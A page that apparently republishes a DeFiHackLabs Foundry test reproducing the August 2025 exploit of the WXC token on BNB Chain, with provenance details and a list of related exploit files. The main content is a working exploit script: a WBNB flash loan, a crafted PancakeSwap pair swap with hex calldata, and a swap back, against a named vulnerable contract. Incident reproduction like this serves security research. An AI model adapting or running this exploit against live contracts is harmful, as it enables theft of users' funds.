Public reproduction file
src/test/2025-08/WXC_Token_exp.sol
Public reproduction file for dataset entry WXC.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.0;4import "../basetest.sol";5import "../interface.sol";6// @KeyInfo - Total Lost : 37.5 WBNB7// Attacker : 0x476954c752a6ee04b68382c97f7560040eda73098// Attack Contract : 0x798465b25b68206370d99f541e11eea43288d2979// Vulnerable Contract : 0x8087720eeea59f9f04787065447d52150c09643e10// Attack Tx : https://bscscan.com/tx/0x1397bc7f0d284f8e2e30d0a9edd0db1f3eb0dd284c75e30d226b02bf09ad068f12// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0x8087720eeea59f9f04787065447d52150c09643e#code15// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/195477496748196283217// Twitter Guy : https://x.com/TenArmorAlert/status/195477496748196283218// Hacking God : N/A20contract WXC is BaseTestWithBalanceLog {21 uint256 blocknumToForkFrom = 57177438 - 1;22 uint256 flashAmount = 49150000000000000000;23 //contracts24 IPancakePair Cake_LP = IPancakePair(0xdA5C7eA4458Ee9c5484fA00F2B8c933393BAC965);25 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);26 IERC20 WXC = IERC20(0x8087720EeeA59F9F04787065447D52150c09643E);27 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));28 I0x8f73_ERC1967Proxy ercproxy = I0x8f73_ERC1967Proxy(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);30 function setUp() public {31 vm.createSelectFork("bsc", blocknumToForkFrom);32 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit33 fundingToken = address(WBNB);34 }36 function testExploit() public balanceLog {37 //implement exploit code here38 WXC.approve(address(Router), type(uint256).max);40 WBNB.allowance(address(this), address(ercproxy));41 WBNB.approve(address(ercproxy), type(uint256).max);43 ercproxy.flashLoan(address(WBNB), flashAmount, "0x00");44 }46 function onMoolahFlashLoan(uint256 assets, bytes memory data) public {47 WBNB.approve(address(ercproxy), flashAmount);49 uint256 amt0 = 74963130190599057252979324;50 uint256 amt1 = 1;52 Cake_LP.swap(amt0, amt1, address(this), hex"000000000014bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c0300000006000000000000cf3800000044a9059cbb000000000000000000000000da5c7ea4458ee9c5484fa00f2b8c933393bac965000000000000000000000000000000000000000000000002aa17e09796730000000000000000000000000000006f0ae91d");54 uint256 appAmt = 115792089237316195423570985008687907853269984665640564039457584007913129639935;55 WXC.approve(address(Router), appAmt);58 uint256 amtIn = 74963130190599057252979324;59 address[] memory path = new address[](2);60 path[0] = address(WXC);61 path[1] = address(WBNB);62 uint256 deadline = 1754881178;64 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amtIn, 0, path, address(this), deadline);65 }67 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {68 WBNB.transfer(address(Cake_LP), flashAmount);69 }71}73interface I0x8f73_ERC1967Proxy {74 function flashLoan(address token, uint256 assets, bytes memory data) external;75}Analysis
Dataset entry
Public Foundry test for “WXC” (2025-08-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x476954c752a6ee04b68382c97f7560040eda7309
- Attack Contract
0x798465b25b68206370d99f541e11eea43288d297
- Vulnerable Contract
0x8087720eeea59f9f04787065447d52150c09643e
- Attack Tx
0x1397bc7f0d284f8e2e30d0a9edd0db1f3eb0dd284c75e30d226b02bf09ad068f
File record
- Name
- WXC
- Path
- src/test/2025-08/WXC_Token_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 07abd3ee39179b339fd4baa38ec40c39b9d10c0d
- Language
- Solidity
- Size
- 76 lines
- Date
- 2025-08-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/WXC_Token_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 07abd3ee39179b339fd4baa38ec40c39b9d10c0d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.